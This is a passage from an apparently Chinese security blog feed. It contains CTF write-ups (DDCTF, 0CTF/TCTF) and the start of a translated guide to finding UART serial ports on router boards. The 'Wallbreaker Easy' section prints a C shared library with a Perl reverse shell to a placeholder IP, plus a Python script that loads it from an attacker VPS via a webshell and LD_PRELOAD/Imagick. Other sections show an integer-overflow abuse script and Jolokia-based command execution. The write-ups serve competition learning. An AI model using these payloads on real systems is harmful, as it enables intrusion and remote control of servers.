src="/2019/04/19/2019ddctf-my-solutions-writeup/2.jpg"><h2 id="大吉大利-今晚吃鸡"><a href="#大吉大利-今晚吃鸡" class="headerlink" title="大吉大利,今晚吃鸡~"></a>大吉大利,今晚吃鸡~</h2><p>第一步是要通过整数溢出让价格的值变成0，这样我们就可以0元购买了。这里其实如果校验的时候小心一点，应该是不会出现这种情况的。但是我在测试的时候也没有完全测试好，整数溢出后是会变成最小负数，然后开始不断增加。所以这里最后的<code>value</code>为<code>4294967296</code>。 </p><p>之后就是注册用户，买票，拿到ticket和id，删除用户，这里比较坑的是要看删除用户的id，每个id都要删一次，所以到最后会特别慢。。。 </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests </span><br><span class="line"><span class="keyword">import</span> json </span><br><span class="line"><span class="keyword">import</span> re </span><br><span class="line"><span class="keyword">import</span> time </span><br><span class="line">my_header = &#123; </span><br><span class="line">    <span class="string">'Cookie'</span>: <span class="string">'user_name=whz1; REVEL_SESSION=785438359f65951fe7d8314e77e4f846'</span>, </span><br><span class="line">    <span class="string">'Accept'</span>: <span class="string">'application/json'</span> </span><br><span class="line">&#125; </span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">create_user_delete</span><span class="params">(username, password)</span>:</span> </span><br><span class="line">    register_url = <span class="string">'http://117.51.147.155:5050/ctf/api/register?name=&#123;&#125;&amp;password=&#123;&#125;'</span>.format(username, password) </span><br><span class="line">    buy_url = <span class="string">'http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'</span> </span><br><span class="line">    r = requests.get(register_url) </span><br><span class="line">    re_result = re.match(<span class="string">r'user_name=(.*?); .*REVEL_SESSION=(.*?); .*'</span>, r.headers[<span class="string">'Set-Cookie'</span>]) </span><br><span class="line">    bot_headers = &#123; </span><br><span class="line">        <span class="string">'Cookie'</span>: <span class="string">'user_name=&#123;&#125;; REVEL_SESSION=&#123;&#125;'</span>.format(re_result.group(<span class="number">1</span>), re_result.group(<span class="number">2</span>)), </span><br><span class="line">        <span class="string">'Accept'</span>: <span class="string">'application/json'</span> </span><br><span class="line">    &#125; </span><br><span class="line">    <span class="keyword">print</span> <span class="string">'[*] buy chiji ticket .......'</span> </span><br><span class="line">    bill_info = requests.get(buy_url, headers=bot_headers) </span><br><span class="line">    bill_id = json.loads(bill_info.content)[<span class="string">'data'</span>][<span class="number">0</span>][<span class="string">'bill_id'</span>] </span><br><span class="line">    pay_url = <span class="string">'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=&#123;&#125;'</span>.format(bill_id) </span><br><span class="line">    <span class="keyword">print</span> <span class="string">'[*] pay chiji ticket .......'</span> </span><br><span class="line">    time.sleep(<span class="number">1</span>) </span><br><span class="line">    ticket_info = requests.get(pay_url, headers=bot_headers) </span><br><span class="line">    bot_id = json.loads(ticket_info.content)[<span class="string">'data'</span>][<span class="number">0</span>][<span class="string">'your_id'</span>] </span><br><span class="line">    bot_token = json.loads(ticket_info.content)[<span class="string">'data'</span>][<span class="number">0</span>][<span class="string">'your_ticket'</span>] </span><br><span class="line">    delete_url = <span class="string">'http://117.51.147.155:5050/ctf/api/remove_robot?id=&#123;&#125;&amp;ticket=&#123;&#125;'</span>.format(bot_id, bot_token) </span><br><span class="line">    <span class="keyword">print</span> <span class="string">'[*] delete bot user ......'</span> </span><br><span class="line">    my_info = requests.get(delete_url, headers=my_header) </span><br><span class="line">    <span class="keyword">return</span> my_info.text </span><br><span class="line">  </span><br><span class="line"><span class="keyword">for</span> n <span class="keyword">in</span> range(<span class="number">0</span>, <span class="number">700</span>): </span><br><span class="line">    name = <span class="string">'ppzllac'</span> + str(n) </span><br><span class="line">    passwd = <span class="string">'12345678'</span> </span><br><span class="line">    <span class="keyword">print</span> create_user_delete(name, passwd)</span><br></pre></td></tr></table></figure><img src="/2019/04/19/2019ddctf-my-solutions-writeup/3.jpg"><h2 id="Upload-IMG"><a href="#Upload-IMG" class="headerlink" title="Upload IMG"></a>Upload IMG</h2><p>一道上传题目，但是不是传统的上传，没有服务器解析漏洞，没有后端验证绕过，这里是要求上传的图片中包含<code>phpinfo</code>。一开始我完全懵逼，用的思路是之前GoogleCTF的思路，将字符串用PIL库填充进去，发现上传之后还是提示没有phpinfo。 </p><p>之后在友人的提醒下，看了<code>https://paper.seebug.org/387/</code>，还有<code>https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg</code>。这两篇文章知道了，这里的考点是GD渲染绕过的问题，再加上我们重新下载渲染过的图片之后发现图片首部由GD的标志。 </p><p>这里一开始是直接用的seebug中的脚本，但是我们发现脚本生成的图片再次渲染之后还是会让<code>phpinfo()</code>中的尾部字符串被解析成乱码。之后想到先上传一次文件，先让GD渲染一次把渲染的图片下载下来，这样再利用下载的文件就让渲染修改的地方不会有很多，最后是一次就成功了。 </p><img src="/2019/04/19/2019ddctf-my-solutions-writeup/4.jpg"><h2 id="wireshark"><a href="#wireshark" class="headerlink" title="wireshark"></a>wireshark</h2><p>从流量数据包中能够发现三张图片，其中有两张是可以从网上直接下载得到的。还有一张是只能从数据包中提取得到。从中拿到之后一开始是无法显示的损坏png图像，需要修复png的图片头部和尾部才能正常使用。 </p><p>然后就是常见的套路了，修改图片的长度高度，这里是得到了一串key，再结合流量包中的解密网址就可以对图片完成解密，拿到加密的数据。 </p><p>解密网址 <a href="http://tools.jb51.net//aideddesign/img_add_info" target="_blank" rel="noopener">http://tools.jb51.net//aideddesign/img_add_info</a> </p><p>加密数据<code>flag+AHs-44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D+AH0-</code> </p><p>这是一个base64+hex数据，hex解密之后就是flag了。 </p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;我得说DDCTF真的是脑洞太大，一言难尽。。。 &lt;/p&gt;
&lt;h2 id=&quot;滴&quot;&gt;&lt;a href=&quot;#滴&quot; class=&quot;headerlink&quot; title=&quot;滴~&quot;&gt;&lt;/a&gt;滴~&lt;/h2&gt;&lt;p&gt;文件包含，需要一些转换。转成hex值之后两次base64。 &lt;/p&gt;
&lt;figu
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="CTF" scheme="https://hurricane618.me/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>2019TCTF web writeup</title>
    <link href="https://hurricane618.me/2019/03/31/2019TCTF-web-writeup/"/>
    <id>https://hurricane618.me/2019/03/31/2019TCTF-web-writeup/</id>
    <published>2019-03-31T14:15:47.000Z</published>
    <updated>2019-03-31T14:20:38.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="wallbreaker-easy"><a href="#wallbreaker-easy" class="headerlink" title="wallbreaker easy"></a>wallbreaker easy</h2><p>这道题在比赛的时候专注在imagick上面，但是由于是最新版本，以前的bypass漏洞已经修补。。。之后由于复试的原因没有仔细研究，现在开始复现。</p><p>这道题给了一个webshell，密码是backdoor，可以直接用菜刀连接，然而用phpinfo查看禁用函数，发现已经把所有执行命令的函数都ban了，并且知道操作系统是ubuntu18.04.</p><img src="/2019/03/31/2019TCTF-web-writeup/1.png"><p>所以这是一个受限制的webshell绕过<code>disable_function</code>的问题</p><h3 id="bypass-disable-function的方法"><a href="#bypass-disable-function的方法" class="headerlink" title="bypass disable_function的方法"></a>bypass disable_function的方法</h3><p>绕过<code>disable_function</code>也是一个老生常谈的问题了。总结一下大概有一下四种：</p><ol><li>攻击后端组件，寻找存在命令注入的、web 应用常用的后端组件，如，ImageMagick 的魔图漏洞、bash 的破壳漏洞</li><li>寻找未禁用的漏网函数，常见的执行命令的函数有 <code>system()</code>、<code>exec()</code>、<code>shell_exec()</code>、<code>passthru()</code>，偏僻的 <code>popen()</code>、<code>proc_open()</code>、<code>pcntl_exec()</code>，逐一尝试，或许有漏网之鱼</li><li>mod_cgi 模式，尝试修改 .htaccess，调整请求访问路由，绕过 php.ini 中的任何限制</li><li>利用环境变量 <code>LD_PRELOAD</code> 劫持系统函数，让外部程序加载恶意 *.so，达到执行系统命令的效果</li></ol><p>这里由于题目的提示，我们知道php没有多余的组件。也没有漏网之鱼，同时也没有mod_cgi。那么剩下的就是<code>LD_PRELOAD</code>劫持函数的方法了。</p><p>这个一个动态链接的环境变量，在我们执行程序的时候会优先加载这个变量中的动态函数库，如果这个里面有程序用到的库函数就会调用，这样的话我们就可以劫持库函数执行恶意操作。</p><h3 id="劫持库函数"><a href="#劫持库函数" class="headerlink" title="劫持库函数"></a>劫持库函数</h3><p>这里由于要先设置环境变量，那么触发的函数必须要能启用外部程序才行，这样才会有调用动态库的情况。比如php中的<code>mail()</code></p><img src="/2019/03/31/2019TCTF-web-writeup/2.png"><p>可以看到调用了外部程序<code>sendmail</code>，这里的经典方法是劫持<code>getuid()</code>，因为<code>sendmail</code>会调用这个函数，但是这里会出现一些问题，如果没有<code>sendmail</code>或者禁用了，这就不会有外部程序运行，当然我们劫持的函数也无法执行。</p><p>这里有一种更进一步的利用方法，就是使用<code>__attribute__ ((__constructor__))</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> _GNU_SOURCE </span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt; </span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;unistd.h&gt; </span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;sys/types.h&gt; </span></span></span><br><span class="line">__attribute__ ((__constructor__)) <span class="function"><span class="keyword">void</span> <span class="title">angel</span> <span class="params">(<span class="keyword">void</span>)</span></span>&#123;</span><br><span class="line">    unsetenv(<span class="string">"LD_PRELOAD"</span>); </span><br><span class="line">    system(<span class="string">"ls"</span>); </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个东西会在共享库装载的时候触发执行，这样一来只要有额外的外部程序执行就可以利用。我们就得到一种更通用的劫持执行的方法。</p><h3 id="解决外部程序调用"><a href="#解决外部程序调用" class="headerlink" title="解决外部程序调用"></a>解决外部程序调用</h3><p>可惜的是题目禁用了<code>mail</code>，看来只能另辟蹊径了。结合题目给的hint，看来是要使用<code>imagick</code>作为突破了。查看php-imagick源码</p><p><a href="https://github.com/ImageMagick/ImageMagick" target="_blank" rel="noopener">https://github.com/ImageMagick/ImageMagick</a></p><p>从这个网站 <a href="https://imagemagick.org/script/formats.php" target="_blank" rel="noopener">https://imagemagick.org/script/formats.php</a> 中可以看到各种格式的文件会调用不同的程序，所以构造一个能够调用额外程序的相应的文件即可。同时可以使用<code>strace -f php xxx.php 2&gt;&amp;1 | grep execve</code> 来验证程序有外部调用。</p><p>这里选择了调用<code>ghostscript</code>的eps文件。注意：必须要有相关文件的文件头才行。这里打算通过反弹shell来执行readflag的操作。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> _GNU_SOURCE</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;sys/types.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> __attribute__((__constructor__)) init(<span class="keyword">void</span>)</span><br><span class="line">&#123;</span><br><span class="line">unsetenv(<span class="string">"LD_PRELOAD"</span>);</span><br><span class="line"> system(<span class="string">"perl -e 'use Socket;$i=\"your_IP\";$p=your_port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i))))&#123;open(STDIN,\"&gt;&amp;S\");open(STDOUT,\"&gt;&amp;S\");open(STDERR,\"&gt;&amp;S\");exec(\"/bin/sh -i\");&#125;;'"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>将其编译成共享库 <code>gcc -shared -fPIC evil.c -o evil.so</code>，如果是要编译成32位的加上<code>-m32</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">token = <span class="string">"/tmp/f28c9b5f67a7b7651a9d2b0021affc4e/"</span></span><br><span class="line">host = <span class="string">"http://111.186.63.208:31340"</span></span><br><span class="line">base = <span class="string">"your_vps"</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">send_backdoor</span><span class="params">(payload)</span>:</span></span><br><span class="line">        res = requests.post(host, data=&#123;<span class="string">"backdoor"</span>:payload&#125;)</span><br><span class="line">        <span class="keyword">return</span> res.text</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">up_file</span><span class="params">(filename)</span>:</span></span><br><span class="line">        tp = token + filename</span><br><span class="line">        rp = base + filename</span><br><span class="line">        p = <span class="string">'echo file_put_contents("'</span> + tp + <span class="string">'", file_get_contents("'</span> + rp + <span class="string">'"));'</span></span><br><span class="line">        <span class="keyword">return</span> send_backdoor(p)</span><br><span class="line"></span><br><span class="line">print(up_file(<span class="string">"evil.so"</span>))</span><br><span class="line">print(up_file(<span class="string">"bypass.eps"</span>))</span><br><span class="line"></span><br><span class="line">print(send_backdoor(<span class="string">"putenv('LD_PRELOAD="</span> + token + <span class="string">"evil.so"</span> + <span class="string">"');"</span> + <span class="string">"$img = new Imagick('"</span> + token + <span class="string">"bypass.eps"</span> + <span class="string">"');"</span>))</span><br></pre></td></tr></table></figure><p>在vps上监听，随后执行脚本，可以看到上传成功的话里面会有上传文件的大小混在网页html中。</p><img src="/2019/03/31/2019TCTF-web-writeup/3.png"><p>最后在根目录下拿到flag。</p><h3 id="题目之外"><a href="#题目之外" class="headerlink" title="题目之外"></a>题目之外</h3><p>其实我们可以走的更远，这里只是劫持了库函数执行我们的恶意代码，但是也可以在执行完恶意代码后再执行正常的库函数，这样以假乱真，效果更棒:)</p><h2 id="Ghost-Pepper"><a href="#Ghost-Pepper" class="headerlink" title="Ghost Pepper"></a>Ghost Pepper</h2><p>打开题目看到有一个basic认证，其实这里是可以爆破的，得到密码<code>karaf:karaf</code>，当然我是事后才知道的，看writeup有的人是根据 <a href="https://karaf.apache.org/manual/latest/webconsole" target="_blank" rel="noopener">https://karaf.apache.org/manual/latest/webconsole</a> ，也有的人是根据jetty的默认凭证。</p><p>成功认证之后是得到一个404的页面，这里根据<code>Ghost Pepper</code>猜到<code>jolokia</code>路径，这里有点脑洞了，这种路径爆破也出不来。。。在拿到路径之后发现是一个OSGI的api接口。</p><p>对于java不是很熟悉，照着writeup一路走，这里用到了<code>jolokia/list</code>来列举能用的类，返回的json数据美化一下看着更加方便。里面比较有用的就是<code>org.apache.karaf</code>，能够安装和执行一些jar包，这对我们来说用处很大，只要构造恶意的jar包反弹shell，就能拿到flag了。然而，我垃圾的java功底完全构造不出来。。。</p><p>这里采用的另外一个思路，Karaf有一个webconsole，我们可以通过installFeature来安装一个webconsole。</p><p><code>http://111.186.63.207:31337/jolokia/exec/org.apache.karaf:name=root,type=feature/installFeature(java.lang.String)/webconsole</code></p><p>安装之后，访问<code>http://111.186.63.207:31337/system/console/gogo</code></p><img src="/2019/03/31/2019TCTF-web-writeup/4.png"><p>直接可以执行命令，拿到flag</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://www.freebuf.com/articles/web/192052.html" target="_blank" rel="noopener">https://www.freebuf.com/articles/web/192052.html</a></p><p><a href="https://www.linuxidc.com/Linux/2017-12/149841.htm" target="_blank" rel="noopener">https://www.linuxidc.com/Linux/2017-12/149841.htm</a></p><p><a href="https://github.com/mdsnins/ctf-writeups/blob/master/2019/0ctf%202019/Wallbreaker%20Easy/WallbreakerEasy.md" target="_blank" rel="noopener">https://github.com/mdsnins/ctf-writeups/blob/master/2019/0ctf%202019/Wallbreaker%20Easy/WallbreakerEasy.md</a></p><p><a href="https://www.anquanke.com/post/id/175403" target="_blank" rel="noopener">https://www.anquanke.com/post/id/175403</a></p><p><a href="https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#ghost-pepper" target="_blank" rel="noopener">https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#ghost-pepper</a></p><p><a href="https://github.com/p4-team/ctf/tree/master/2019-03-23-0ctf-quals/web_osgi" target="_blank" rel="noopener">https://github.com/p4-team/ctf/tree/master/2019-03-23-0ctf-quals/web_osgi</a></p><p><a href="https://fireshellsecurity.team/0ctf-ghost-pepper/" target="_blank" rel="noopener">https://fireshellsecurity.team/0ctf-ghost-pepper/</a></p><p><a href="https://github.com/p4-team/ctf/tree/master/2019-03-23-0ctf-quals/web_osgi" target="_blank" rel="noopener">https://github.com/p4-team/ctf/tree/master/2019-03-23-0ctf-quals/web_osgi</a></p><p><a href="http://momomoxiaoxi.com/2019/03/26/tctf2019/#wallbreaker-easy" target="_blank" rel="noopener">http://momomoxiaoxi.com/2019/03/26/tctf2019/#wallbreaker-easy</a></p><p><a href="https://www.anquanke.com/post/id/103016" target="_blank" rel="noopener">https://www.anquanke.com/post/id/103016</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;wallbreaker-easy&quot;&gt;&lt;a href=&quot;#wallbreaker-easy&quot; class=&quot;headerlink&quot; title=&quot;wallbreaker easy&quot;&gt;&lt;/a&gt;wallbreaker easy&lt;/h2&gt;&lt;p&gt;这道题在比赛的时候专注在im
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="CTF" scheme="https://hurricane618.me/tags/CTF/"/>
    
      <category term="PHP" scheme="https://hurricane618.me/tags/PHP/"/>
    
      <category term="JAVA" scheme="https://hurricane618.me/tags/JAVA/"/>
    
  </entry>
  
  <entry>
    <title>快速寻找串行接口</title>
    <link href="https://hurricane618.me/2019/03/02/serial-ports-translation-cn/"/>
    <id>https://hurricane618.me/2019/03/02/serial-ports-translation-cn/</id>
    <published>2019-03-02T11:31:43.000Z</published>
    <updated>2019-03-03T12:57:20.000Z</updated>
    
    <content type="html"><![CDATA[<p>这是一篇来自devttys0的一篇文章，在寻找串口的方法上给出了很多有用的方法，是一篇不错的总结文，在国内没有看到翻译，所以就想翻译成中文供大家学习，第一次做翻译，如有错误之处，请大家体谅，可以给我留言，我会快速修改。</p><p><a href="http://www.devttys0.com/2012/11/reverse-engineering-serial-ports/" target="_blank" rel="noopener">原文链接</a></p><p>鉴于这个博客的名声和我拥有的点击量，我认为现在是大家一起讨论串口的时候了，尤其是嵌入式系统的串口。</p><p>我的目标是通过使用确定的测试和有根据的猜测来讲解我发现的有效识别和逆向嵌入式串口的技术，而不需要特别昂贵的设备。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>串口对于嵌入式开发人员特别有用，通常会使用串口来：</p><ul><li>进入boot loader</li><li>得到启动和调试信息</li><li>通过shell和系统交互</li></ul><p>不用说这个功能同样对黑客有用，所以在嵌入式设备上找到一个串口会非常有用。作为一个学习案例，我们将测试Westell 9100EM FiOS 路由器的PCB，用于寻找可能的串口。</p><img src="/2019/03/02/serial-ports-translation-cn/1.jpg" title="Westell 9100EM PCB"><p>现在，不是你们父亲那一代寻找的RS-232串口，现在有通用异步收发器，Universal Asynchronous Receiver Transmitters (UARTs)，常见于嵌入式设备中。虽然协议兼容，RS-232和UART不是电压兼容（从这里开始我会把UART和串口互换）。UARTs常用在3.3V，但是也有可能用在其他其他标准电压上。（5V、1.8V等）</p><p>不幸的是，这里没有任何工业标准的UART引脚输出，并且制造商通常不会宣传或记录他们的调试接口。所以为了连接这些串口，我们需要做一些工作。尤其，我们需要逆向工程硬件接口和软件协议设置。</p><p>让我们先从硬件接口开始，为此，你需要一个万用表和一对眼球（甚至一个也可以做的很好，23333）。是的，示波器和逻辑分析仪很有用，有时也是必要的，但是在99%的时间里，一个可靠的万用表和一点点知识就是你需要的全部。</p><h2 id="识别串口头"><a href="#识别串口头" class="headerlink" title="识别串口头"></a>识别串口头</h2><p>第一步是尝试识别串口标头的潜在对象。大部分的串口头至少有四个引脚：</p><ul><li>Vcc</li><li>Ground</li><li>Transmit</li><li>Receive</li></ul><p>通常情况下，你将要寻找单排4-6个引脚的地方，虽然这不是一个严格的规定，它们可以采用制造商决定的任何引脚配置。</p><p>在我们的 9100EM PCB ，能找到两个可能的地方 P1402 和 P1404标签处：</p><img src="/2019/03/02/serial-ports-translation-cn/2.jpg" title="可能的串口头"><p>有时，你不会有这样一套很好的引脚，你必须要检查板子上的监测点，通常从最接近SoC的测试点开始是一个好主意。这里有一个WL530G的例子，通过板子上的不同测试点来发现串口。</p><img src="/2019/03/02/serial-ports-translation-cn/3.jpeg" title="WL530G的串口测试点"><p>在任何一种情况下，识别引脚的过程都是相同的。但是如果没有头部通常会需要更长的时间，因为可能会超过4个检测点需要去检查。</p><p>此时，P1402或P1404可能是串口头，或者它们都是串口头，又或者两者都不是串口头。 因此，我们将分别检查每个头部上的引脚，尝试去获得一些有用信息。</p><h2 id="肉眼观察"><a href="#肉眼观察" class="headerlink" title="肉眼观察"></a>肉眼观察</h2><p>首先，让我们仔细检查引脚，从P1402开始：</p><img src="/2019/03/02/serial-ports-translation-cn/4.png" title="P1402正面"><img src="/2019/03/02/serial-ports-translation-cn/5.png" title="P1402背面"><p>在PCB的正面最右侧的引脚被标记为1，这不是非常重要，但是在描述引脚编号的时候它给出了一个共同的参考框架。</p><p>在PCB的背面，我们看到引脚3有四条痕迹组成十字图案，它们连接在地线平面的附近。这很容易的将引脚3识别为地线（Ground）。</p><p>引脚2和4有细的痕迹连接到它们，而引脚1连接在较粗的痕迹上。宽的痕迹通常用于供电的，而窄的痕迹通常用于信号传输。这表明引脚1是Vcc，引脚2和4可能是收发（尽管我们不知道哪个是哪个）。</p><p>让我们看看P1404的头部：</p><img src="/2019/03/02/serial-ports-translation-cn/6.png" title="P1404正面"><img src="/2019/03/02/serial-ports-translation-cn/7.png" title="P1404背面"><p>这里，最左边的引脚被标记为1。再一次，我们看到引脚3连接在PCB背面接地。引脚4也有一个连接到它的细痕迹，所以它可能是传输或者接受引脚。</p><p>然而，P1404的另外两个引脚在PCB的正面或背面上没有连接到它们的可见痕迹。可能是它们没有连接到任何东西，但是更可能的是它们的痕迹连接在我们看不到的PCB中一个内层上。是时候使用万用表了。</p><h2 id="识别接地引脚"><a href="#识别接地引脚" class="headerlink" title="识别接地引脚"></a>识别接地引脚</h2><p>连续性测试将小电流引入电路，如果有足够的电流从一个探针到另外一个探针（即电阻足够小），万用表将会发出可听见的音调，表明探针所接触的点是电连接的。[译者注：其实这里我们直接用万用表的蜂鸣档，也就是通断档位，也是这个效果]</p><p>我们要做的第一件事情是使用万用表在接地和每个头部上的所有引脚之间进行连续性测试。这会告诉我们哪些引脚直接连接到地线。我们会从P1402开始。</p><p>金属屏蔽是用于测试的便利接地点。将一个探针放在屏蔽上并将另外一个探针接触到引脚3，万用表会发出连续的可听音调，表示我们之前观察到引脚3是接地的。</p><img src="/2019/03/02/serial-ports-translation-cn/8.jpg" title="引脚3的接地测试"><p>对引脚2和4执行相同的测试会没有声音，所以我们知道这些引脚没有接地。</p><p>对P1404的引脚2,3,4 做相同连续性测试也会产生相同的结果。因此，我们知道了对于P1402和P1404，引脚3是接地的，引脚2和4不接地。</p><h2 id="识别Vcc"><a href="#识别Vcc" class="headerlink" title="识别Vcc"></a>识别Vcc</h2><p>Vcc不太重要，因为我们实际上不需要连接任何东西到Vcc，但是定位Vcc引脚是一个很好的练习，并且有助于消除Vcc引脚作为收发的可能。</p><p>基于痕迹的宽度，我们怀疑引脚1是Vcc，当电路板通电时，测量引脚1上的电压似乎证实了这一点：</p><img src="/2019/03/02/serial-ports-translation-cn/9.jpg" title="测试引脚1的电压"><img src="/2019/03/02/serial-ports-translation-cn/10.jpg" title="在P1402上测出的稳定电压"><p>在P1404的引脚1上也读出相同的电压，这表明P1402和P1404都将引脚1连接到Vcc。</p><p>识别Vcc的另外一种方法是在地线和可疑Vcc引脚之间执行连续性测试。虽然它可能会有点反直觉，但是通常这会导致非常短的嘟嘟声（尽管不是连续音调）。</p><p>Vcc的连续性测试表明在Vcc引脚和地线之间通常连接着一个滤波电容。这样做时为了消除PCB上电源线中的任何可能的噪声，并且这种滤波电容器可以在任何设计良好的电路板中使用。由于电容器的工作性质，它们将非常短暂地“通过”直流电，直到它们被充电到容量，此时它们将停止“通过”直流电并将“阻断”直流电流，从而在连续性测试中观察到导致短暂的蜂鸣声（值得一提的是，电流实际上并没有通过电容器，尽管它看着像是这样的）。</p><p>虽然它并不总是有效，但是连续性测试是比简单测试每个引脚上的电压更准确的方法。因为任意数量的引脚可能是相同的电压。请注意，你还需要一个高灵敏的万用表来进行连续性测试，为了保证测试的正确性。更便宜的产品在触发之前可能需要一秒或更长的时间，此时电容器已经充电。大多100美元范围内的万用表应该是足够了。</p><h2 id="识别传输引脚"><a href="#识别传输引脚" class="headerlink" title="识别传输引脚"></a>识别传输引脚</h2><p>只要串口处于激活状态并且正在传输数据，传输引脚和农容易识别（如果不是，那么整个工作可能无论如何都是徒劳的）。电路板上的传输引脚将被拉高到和Vcc相同的电压（通常为3.3V）。当它传输数据位的时候，电压将下降到0V（发送空格），然后回到3.3V（发送标记）。当读取变化的直流电压时，数字万用表将最终显示采样电压的平均值，这意味着平均电压（万用表显示的）将在突发激活期间短暂下降。</p><p>传输引脚上的大多数活动通常发生在系统启动期间，当从bootloader、内核、系统的所有引导信息打印到串口时。通过在引导期间监控引脚2和4，我们应该可以轻松地识别哪个是传输引脚。让我们先看看P1402：</p><img src="/2019/03/02/serial-ports-translation-cn/11.jpg" title="P1402引脚2的电压测量"><img src="/2019/03/02/serial-ports-translation-cn/12.jpg" title="P1402引脚4的电压测量"><p>P1402引脚2和4的电压都是稳定无波动的3.3V。</p><img src="/2019/03/02/serial-ports-translation-cn/13.jpg" title="P1402引脚2和4的电压"><p>这可不太好，所以让我们看看P1404头部，将从引脚2开始：</p><img src="/2019/03/02/serial-ports-translation-cn/14.jpg" title="P1404引脚2的电压测试"><p>引脚2的电压数值在最初的几秒徘徊在40mV，然后它稳定在2.3V：</p><img src="/2019/03/02/serial-ports-translation-cn/15.jpg" title="P1404引脚2的初始电压"><img src="/2019/03/02/serial-ports-translation-cn/16.jpg" title="P1404引脚2的最终电压"><p>让我们看看引脚4：</p><img src="/2019/03/02/serial-ports-translation-cn/17.jpg" title="P1404引脚4的电压测试"><p>引脚4的电压数值在最初几秒稳定在3.3V：</p><img src="/2019/03/02/serial-ports-translation-cn/18.jpg" title="P1404引脚4的初始电压"><p>然后突然我们开始看到引脚4的电压数值快速并实质的变化：</p><img src="/2019/03/02/serial-ports-translation-cn/19.jpg" title="P1404引脚4的电压下降到2.4V"><img src="/2019/03/02/serial-ports-translation-cn/20.jpg" title="P1404引脚4的电压回升到3.2V"><img src="/2019/03/02/serial-ports-translation-cn/21.jpg" title="P1404引脚4的电压下降到2.3V"><p>P1404的引脚4存在一些活动，表明它实际上是一个有效数据引脚，很有可能是串口的传输引脚。</p><p>虽然这是识别传输引脚的有效方法，但是需要注意的是，如果串口仅仅传输少量数据，电压波动对于万用表来说太过短暂，你就要使用示波器或逻辑分析仪来捕获传输引脚上上的数据活动。然而这是很少见的，通常串口上都会有大量数据传输来让这个方法起作用。</p><h2 id="识别接受引脚"><a href="#识别接受引脚" class="headerlink" 